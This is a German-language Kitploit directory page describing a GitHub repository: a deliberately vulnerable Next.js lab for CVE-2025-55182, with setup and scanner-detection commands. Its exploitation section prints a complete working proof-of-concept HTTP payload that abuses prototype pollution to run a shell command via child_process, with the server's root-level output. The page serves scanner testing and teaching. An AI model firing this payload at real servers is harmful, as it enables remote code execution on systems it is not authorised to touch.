Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-66478 — Absichtlich verwundbare Next.js-Umgebung zum Testen von Sicherheitsscannern gegen CVE-2025-55182, mit PoC-Exploit und Erkennungsanleitung. | Kitploit
Tools/GitHubGitHub/abhirajranjan/cve-2025-66478
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubabhirajranjan/cve-2025-66478

cve-2025-66478

Absichtlich verwundbare Next.js-Umgebung zum Testen von Sicherheitsscannern gegen CVE-2025-55182, mit PoC-Exploit und Erkennungsanleitung.

Repository anzeigen
4vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182

Dieses Repository stellt eine minimale, bewusst verwundbare Umgebung bereit, um Sicherheitsscanner gegen die aktuellen kritischen RCE-Sicherheitslücken in React Server Components und Next.js zu testen.

[!Warnung]
Dieses Setup ist absichtlich verwundbar und darf niemals dem öffentlichen Internet ausgesetzt oder in der Produktion verwendet werden.


Was ist das?

Diese App ist ein sehr kleines Next.js-Projekt, das:

  • Verwundbare Versionen von Folgendem festlegt:
    • next: 16.0.6
    • react: 19.2.0
    • react-dom: 19.2.0
  • Eine minimale NextJS-Konfiguration mit App Router und React Server Actions verwendet.

So wird es ausgeführt

root@kitploit:~
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

So wird es erkannt

AssetNote Scanner

Verwenden Sie den von AssetNote bereitgestellten Scanner:

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate

python3 scanner.py -u http://127.0.0.1:3000

Gibt Folgendes zurück:

root@kitploit:~
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000             

brought to you by assetnote

[*] Geladen 1 Host(s) zum Scannen
[*] Verwende 10 Thread(s)
[*] Timeout: 10s
[*] Verwende RCE-PoC-Prüfung
[!] SSL-Verifizierung deaktiviert

[VULNERABLE] http://127.0.0.1:3000 - Status: 303

Nuclei

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

Gibt Folgendes zurück:

root@kitploit:~
[INF] Für aktuellen Scan geladene Vorlagen: 1
[WRN] Lade 1 unsignierte Vorlage(n) für den Scan. Mit Vorsicht verwenden.
[INF] Geladene Ziele für aktuellen Scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000

So wird es ausgenutzt

PoC-HTTP-Payload von hier.

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Gibt Folgendes zurück:

root@kitploit:~
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

image
Tool herunterladen